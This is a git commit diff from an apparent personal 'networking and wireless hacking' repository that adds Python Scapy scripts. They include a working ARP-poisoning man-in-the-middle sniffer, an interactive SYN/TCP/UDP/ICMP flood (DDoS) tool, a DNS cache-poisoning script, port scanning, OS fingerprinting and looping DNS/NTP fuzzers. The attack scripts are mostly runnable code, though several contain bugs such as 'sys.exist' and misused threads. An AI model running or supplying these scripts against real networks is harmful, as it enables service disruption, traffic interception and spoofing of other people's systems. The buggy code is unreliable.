scapy scripts (including ddos)

This commit is contained in:
Mari Wahl 2014-12-28 15:50:05 -05:00
parent 2acc68c3dd
commit 8ca96e0b02
28 changed files with 172723 additions and 125 deletions

View File

@ -14,6 +14,7 @@ My resources in networking and wireless hacking.
- Shark the ripper
- A comprehensive guide
- Sample of PCAP files
### Scanner

View File

@ -15,40 +15,36 @@ import sys
import threading
import signal
# sends out the appropriate ARP packets to the network broadcast address to reset
# the ARP caches of the gateway and target machines
# constants
INTERFACE = 'wlp1s0'
TARGET_IP = '192.168.1.107'
GATEWAY_IP = '192.168.1.1'
PACKET_COUNT = 1000
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print '[*] Restoring targets...'
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff', \
hwsrc=gateway_mac), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", \
hwsrc=target_mac), count=5)
# signals the main thread to exit
os.kill(os.getpid(), signal.SIGINT)
# use the srp (send and receive packet) function to emit an ARP request to the
# specified IP address in order to resolve the MAC address
def get_mac(ip_address):
response, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address), \
timeout=2, retry=10)
# return the MAC address from a response
for s, r in response:
return r[Ether].src
return None
# builds up ARP requests for poisoning both the target IP and the gateway
# we keep emitting the ARP requests in a loop to make sure that the ARP entries
# remain poisoned during the attack
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
@ -56,12 +52,10 @@ def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
poison_gateway.hwdst = gateway_mac
print '[*] Beginning the ARP poison. [CTRL-C to stop]'
while 1:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
@ -70,59 +64,57 @@ def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
print '[*] ARP poison attack finished.'
return
INTERFACE = 'wlp1s0'
TARGET_IP = '192.168.1.107'
GATEWAY_IP = '192.168.1.1'
PACKET_COUNT = 1000
if __name__ == '__main__':
# set our interface
conf.iface = INTERFACE
# turn off output
conf.verb = 0
# set our interface
conf.iface = INTERFACE
print "[*] Setting up %s" % INTERFACE
# turn off output
conf.verb = 0
# resolve the gateway
GATEWAY_MAC = get_mac(GATEWAY_IP)
print "[*] Setting up %s" % INTERFACE
if GATEWAY_MAC is None:
print "[-] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" %(GATEWAY_IP, GATEWAY_MAC)
# resolve the gateway
GATEWAY_MAC = get_mac(GATEWAY_IP)
# resolve the target MAC address
TARGET_MAC = get_mac(TARGET_IP)
if TARGET_MAC is None:
print "[-] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (TARGET_IP, TARGET_MAC)
if GATEWAY_MAC is None:
print "[-] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" %(GATEWAY_IP, GATEWAY_MAC)
# start poison thread to perform the ARP poisoning attack
poison_thread = threading.Thread(target = poison_target, args=(GATEWAY_IP, GATEWAY_MAC, \
TARGET_IP, TARGET_MAC))
poison_thread.start()
# resolve the target MAC address
TARGET_MAC = get_mac(TARGET_IP)
if TARGET_MAC is None:
print "[-] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (TARGET_IP, TARGET_MAC)
try:
print '[*] Starting sniffer for %d packets' %PACKET_COUNT
bpf_filter = 'IP host ' + TARGET_IP
# start the sniffer that will capture a preset amount of packets using
# a BPF filter to only capture traffic for our target IP ADDRESS
packets = sniff(count=PACKET_COUNT, filter=bpf_filter, iface=INTERFACE)
# start poison thread to perform the ARP poisoning attack
poison_thread = threading.Thread(target = poison_target, args=(GATEWAY_IP, GATEWAY_MAC, \
TARGET_IP, TARGET_MAC))
poison_thread.start()
# write out the captured packets
wrpcap('arper.pcap', packets)
try:
print '[*] Starting sniffer for %d packets' %PACKET_COUNT
bpf_filter = 'IP host ' + TARGET_IP
# start the sniffer that will capture a preset amount of packets using
# a BPF filter to only capture traffic for our target IP ADDRESS
packets = sniff(count=PACKET_COUNT, iface=INTERFACE)
# restore the network
restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
# write out the captured packets
wrpcap('arper.pcap', packets)
except Scapy_Exception as msg:
print msg, "Hi there!!"
# restore the network
restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
except KeyboardInterrupt:
# restore the network
restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
sys.exist()
except Scapy_Exception as msg:
print msg, "Hi there!!"
except KeyboardInterrupt:
# restore the network
restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
sys.exist()

View File

@ -0,0 +1,73 @@
#!/usr/bin/env python
from scapy.all import *
import threading
from colorama import Back
from sys import argv
from time import sleep
global lock
lock = threading.Lock()
def BootpPacket():
fm, hw = get_if_raw_hwaddr(scapy.all.conf.iface)
ether=Ether(dst="ff:ff:ff:ff:ff:ff")
ip=IP(src="0.0.0.0",dst="255.255.255.255")
udp=UDP(sport=68,dport=67)
bootp=BOOTP(chaddr=hw)
dhcp=DHCP(options=[("message-type","discover"),"end"])
DHCPDiscover = ether/ip/udp/bootp/dhcp
return DHCPDiscover
def sendpkt(DHCPDiscover):
srp(DHCPDiscover,timeout=2,inter=5, verbose=0)
a = sniff(prn=test)
# Thread2 for sniffing BOOTP Message on the network (DHCP OFFER MSG)
t2 = threading.Thread(target=test)
t2.start()
def test(pkt):
if pkt.haslayer(BOOTP):
if pkt[IP].src != "0.0.0.0" and pkt[IP].src != LegalDHCPServer and pkt[BOOTP].op ==2:
if pkt[IP].src not in dhcpservers:
try:
lock.acquire()
print "Rogue DHCP Server(hacker) is at " + Back.RED+"%s"%pkt[IP].src+Back.RESET
dhcpservers.add(pkt[IP].src)
except :
lock.acquire()
finally:
lock.release()
else:
pass
else:
if pkt[IP].src not in legalservers:
try:
lock.acquire()
print "Legal DHCP Server:%s"%pkt[IP].src
legalservers.add(pkt[IP].src)
except:
lock.acquire()
finally:
lock.release()
else:
pass
else:
pass
if __name__ == '__main__':
DHCPDiscover = BootpPacket()
legalservers = set()
dhcpservers = set()
while True:
if len(argv) != 2:
print 'Usage: %s <LegalServersIP>'%argv[0]
exit(0)
else:
LegalDHCPServer = argv[1]
t = threading.Thread(target=sendpkt,args=DHCPDiscover)
t.start()
sleep(5)

View File

@ -0,0 +1,66 @@
#!/usr/bin/env python
__author__ = "bt3"
import threading
import socket
from scapy.all import *
def synFlood(target, port):
ip = fuzz(IP(dst=target))
syn = fuzz(TCP(dport=port, flags='S'))
send(ip/syn, verbose=0)
def tcpFlood(target, port):
ip = fuzz(IP(dst=target))
tcp = fuzz(TCP(dport=port))
send(ip/tcp, verbose=0)
def udpFlood(target, port):
ip = fuzz(IP(dst=target))
udp = fuzz(UDP(dport=port))
send(ip/udp, verbose=0)
def icmpFlood(target):
ip = fuzz(IP(dst=target))
icmp = fuzz(ICMP())
send(ip/icmp, verbose=0)
def option(count, op, ip, port):
if op == '1':
for i in range(count):
threading.Thread(target=synFlood(ip, port)).start()
elif op == '2':
for i in range(count):
threading.Thread(target=tcpFlood(ip, port)).start()
elif op == '3':
for i in range(count):
threading.Thread(target=udpFlood(ip, port)).start()
elif op == '4':
for i in range(count):
threading.Thread(target=icmpFlood(ip)).start()
else:
print "Option not valid."
sys.exit()
def getIP(domainName):
return socket.gethostbyname(domainName)
if __name__ == '__main__':
domainName = raw_input('Type the domain name: ')
port = raw_input('Type the port: ')
op = raw_input("Select the flood attack type: 1) syn, 2) tcp, 3)udp, 4) icmp ")
count = raw_input("Select the count: ")
ip = getIP(domainName)
option(int(count), op, ip, port)

View File

@ -0,0 +1,25 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
from scapy.layers.l2 import *
import time
def dns_poisoning(SPOOF_ADDR, TARGET):
pkts = []
for x in range (10000,11000):
pkt = Ether(src="52:54:00:dd:01:50", dst="52:54:00:dd:01:49")/IP(dst=SPOOF_ADDR,\
src=TARGET)/UDP(dport=4250)/DNS(id=x,an=DNSRR(rrname=url, type='A', rclass='IN', ttl=350, rdata=SPOOF_ADDR))
pkts.append(pkt)
dns = Ether(src="52:54:00:dd:01:38", dst="52:54:00:dd:01:49")/IP(dst=SPOOF_ADDR, \
src="172.17.152.138")/UDP()/DNS(qd=DNSQR(qname=url))
sendp(dns, verbose = 0)
for pkt in pkts:
sendp(pkt, verbose=0)
if __name__ == '__main__':
url = "whenry_49094902fea7938f.propaganda.hc"
SPOOF_ADDR = '23.235.46.133'
TARGET = '192.168.1.125'
dns_poisoning()

View File

@ -0,0 +1,9 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
str(IP())
a = Ether()/IP(dst="www.google.com")/TCP()/"GET /index.html HTTP/1.1"
hexdump(a)

View File

@ -1,7 +0,0 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
send(IP(dst='192.168.1.114')/UDP()/fuzz(DNS()), inter=1,loop=1)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,21 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
def os_finger(target):
ip = IP()
ping = ICMP()
ip.dst = target
send = sr1(ip/ping)
if send.ttl < 65:
print("IP:%s: Linux"%(target))
else:
print("IP:%s: Windows"%(target))
if __name__ == '__main__':
target = raw_input("Type the IP: ")
os_finger(target)

View File

@ -0,0 +1,131 @@
#!/usr/bin/env python
__author__ = "bt3"
import re
import zlib
import cv2
from scapy.all import *
PIC_DIR = '/home/user/Desktop/pictures'
FACES_DIR = '/home/user/Desktop/faces'
PCAP = 'http_witp_jpegs.cap'
# split the headers using regular expression
def get_http_headers(http_payload):
try:
# split the headers off if it is HTTP traffic
headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
headers = dict(re.findall(r'(?P<name>.*?):(?P<value>.*?)\r\n', headers_raw))
except:
return None
if 'Content-Type' not in headers:
return None
return headers
# determine whether we received an image in the HTTP response
def extract_image(headers, http_payload):
image = None
image_type = None
try:
if 'image' in headers['Content-Type']:
# grab the image type and image body
image_type = headers['Content-Type'].split('/')[1]
image = http_payload[http_payload.index('\r\n\r\n')+4:]
# if we detect compression decompress the image
# attempt to decompress it before returning the image
# type and the raw image buffer
try:
if 'Content-Encoding' in headers.keys():
if headers['Content-Encoding'] == 'gzip':
image = zlib.decompress(image, 16+zlb.MAX_WBITS)
elif headers['Content-Encoding'] == 'deflate':
image = zlib.decompress(image)
except:
pass
except:
return None, None
return image, image_type
# facial detection code
def face_detect(path, file_name):
img = cv2.imread(path)
# apply a classifier that is trained in advanced for detecting faces
# in a front-facing orientation
cascade = cv2.CascadeClassifier('/home/bytegirl/Desktop/haarcascade_upperbody.xml')
# returns retangle coordinates that correspnd to where the face
# was detected in the image.
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
# highlight the faces in the image
# draw a green retangle over the area
for x1, y1, x2, y2 in rects:
cv2.retangle(img, (x1, y1), (x2, y2), (127, 255,0), 2)
# write out the resulting image
cv2.imwrite('%s/%s-%s' % (FACES_DIR, PCAP, file_name), img)
return True
def http_assembler(PCAP):
carved_images = 0
faces_detected = 0
a = rdpcap('/home/temp/' + PCAP)
# scapy automatically separate each TCP session into a dictionay
sessions = a.sessions()
for session in sessions:
http_payload = ''
for packet in sessions[session]:
try:
# we use that wand then filter out only HTTP traffic and then concatenate
# the payload of all the HTTP traffic into a single buffer
# (the same as Wiresahk Follow TCP Stream)
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# reassemble the stream
http_payload += str(packet[TCP].payload)
except:
pass
# after we have the HTTP data assembled we pass it off to our HTTP
# header, parsing function, which will allow us to inspect the headers
headers = get_http_headers(http_payload)
if headers is None:
continue
# after we validade that, we receive an image back in an HTTP response, we
# extract the raw image and return the image type and the binary body of
# the image itself
image, image_type = extract_image(headers, http_payload)
if image is not None and image_type is not None:
# store the images
file_name = '%s-pic_carver_%d.%s' %(PCAP, carved_images, image_type)
fd = open('%s/%s' % (PIC_DIR, file_name), 'wb')
fd.write(image)
fd.close()
carved_images += 1
# now attempt face detection
try:
# path the file for the facial detection routine
result = face_detect('%s/%s' %(PIC_DIR, file_name), file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
if __name__ == '__main__':
carved_images, faces_detected = http_assembler(PCAP)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

View File

@ -0,0 +1,30 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
def conversation():
p = readpcap("myfile.pcap")
p.conversations(type="jpg", target="> test.jpg")
def simple_graph():
res,unans = traceroute(["www.google.com", "www.yahoo.com"], dport=[80,443], maxttl=20, retry=-2)
res.graph()
res.graph(type="ps")
res.graph(target="> example.png")
def ttd_graph():
p = IP()/ICMP()
p.pdfdump("test.pdf")
def td_graph():
a,u = traceroute(["www.python.org", "google.com","slashdot.org"])
a.trace3D()
def simple_plot():
p = sniff(count=50)
p.plot(lambda x:len(x))
if __name__ == '__main__':
simple_plot()

19
Network_and_802.11/scapy/receive_packet.py Executable file → Normal file
View File

@ -4,10 +4,17 @@ __author__ = "bt3"
from scapy.all import *
def sr_simple():
output=sr(IP(dst='google.com')/ICMP())
print '\nOutput is:'
print output
result, unanswered=output
print '\nResult is:'
print result[0]
output=sr(IP(dst='google.com')/ICMP())
print '\nOutput is:'
print output
result, unanswered=output
print '\nResult is:'
print result[0]
def srloop_simple():
srloop(IP(dst="www.google.com")/ICMP(), count=3)
if __name__ == '__main__':
srloop_simple

0
Network_and_802.11/scapy/route.py Executable file → Normal file
View File

0
Network_and_802.11/scapy/send_packet.py Executable file → Normal file
View File

View File

@ -1,30 +0,0 @@
#!/usr/bin/env python
__author__ = "bt3"
''' A simple sniffer '''
'''
DOCUMENTATION:
# sniffer that dissects and dumps the packets out
# filter allows to specify a BPF, wireshark style to packets,
# for example, to sniff all HTTP packets you use a BPF filter of tcp
# and port 80
# iface parameter tells the sniffer which network interface to sniff on
# prn parameter specifies a callback function to every packet that matches the filter
# and it will receive packet as its single parameter
# count specifies how many packets you want to sniff (blank: infinite)
sniff(filter'', iface='any', prn=function, count=N)
'''
from scapy.all import *
# our packet callback
def packet_callback(packet):
print packet.show()
# fire up the sniffer on all interfaces, with no filtering
sniff(prn=packet_callback, count=1)

30
Network_and_802.11/scapy/sniff_simple.py Executable file → Normal file
View File

@ -4,16 +4,40 @@ __author__ = "bt3"
from scapy.all import *
def save():
a = sniff(filter='icmp', iface='wlp1s0', timeout=10, count=3, prn=lambda x:x.summary())
def save(a):
wrpcap('packets.pcap', a)
def open():
p = rdpcap('packets.pcap', p)
p.show()
def os_finger():
load_module("p0f")
p0f(p)
def scan():
res, unans = sr( IP(dst='192.168.1.114')/TCP(flags='S', dport=(1, 1024)))
print res.summary()
scan()
def sniff_simple():
p = sniff(iface='wlp1s0', timeout=10, count=5)
print p.summary()
def sniff_lambda():
a = sniff(filter='icmp', iface='wlp1s0', timeout=10, count=3, prn=lambda x:x.summary())
return a
def tcp_sniff():
p = sniff(filter="tcp and (port 25 or port 110)")
p.show()
def sniff_callback():
def packet_callback(packet):
print packet.show()
sniff(filter='icmp', iface='wlp1s0', prn=packet_callback, count=1)
if __name__ == '__main__':
tcp_sniff()

View File

@ -0,0 +1,19 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
def PacketHandler(pkt) :
if pkt.haslayer(Dot11) :
if pkt.type == 0 and pkt.subtype == 8 :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print "AP MAC: %s with SSID: %s " %(pkt.addr2, pkt.info)
if __name__ == '__main__':
ap_list = []
sniff(iface="wlp1s0", prn = PacketHandler)

24
Network_and_802.11/scapy/tcp_handshake.py Executable file → Normal file
View File

@ -4,26 +4,14 @@ __author__ = "bt3"
from scapy.all import *
# Set port & MAC address
FAKE_IP = "10.0.4.4" # Use something that nobody else is going to have
MAC_ADDR = "60:67:20:eb:7b:bc" # My actual MAC address
# Broadcast our fake IP address
srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(psrc=FAKE_IP, hwsrc=MAC_ADDR))
source_port += 1
ip_header = IP(dst=dest, src=FAKE_IP) # Set the source port to
ans = sr1(ip_header / TCP(dport=80, sport=source_port, flags="S", seq=random.randint(0, 1000))) # SYN
# ans is the SYN-ACK
reply = ip_header / TCP(dport=80, sport=source_port, seq=ans.ack, ack = ans.seq + 1, flags="A") # ACK
send(reply) # Send ACK
pkt = ip_header / TCP(dport=80, sport=source_port, seq=reply.seq, flags="AP") / "GET / HTTP/1.1\r\n\r\n" # Send our real packet
send(pkt)
ip = IP(src='192.168.1.114', dst='192.168.1.25')
SYN = TCP(sport=1024, dport=80, flags='S', seq=12345)
packet = ip/SYN
SYNACK = sr1(packet)
ack = SYNACK.seq + 1
ack = SYNACK.seq + 1
ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack)
send(ip/ACK)
PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack)
data = "HELLO!"
send(ip/PUSH/data)

View File

@ -0,0 +1,16 @@
#!/usr/bin/env python
__author__ = "bt3"
from scapy.all import *
def nmap_simple():
load_module("nmap")
nmap_fp("192.168.0.114")
def os_finger():
load_module('p0f')
sniff(prn=prnp0f)
if __name__ == '__main__':
nmap_simple()

9
Network_and_802.11/scapy/tools.py Executable file → Normal file
View File

@ -12,8 +12,11 @@ def tr():
def pi():
print arping('192.168.1.114')
#pi()
def fuzz_dns():
send(IP(dst='192.168.1.114')/UDP()/fuzz(DNS()), inter=1,loop=1)
#tr()
def fuzz_tcp():
send(IP(dst="192.168.1.114")/fuzz(UDP()/NTP(version=4)), loop=1)
print sniff(iface="wlp1s0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))
if __name__ == '__main__':
fuzz_tcp()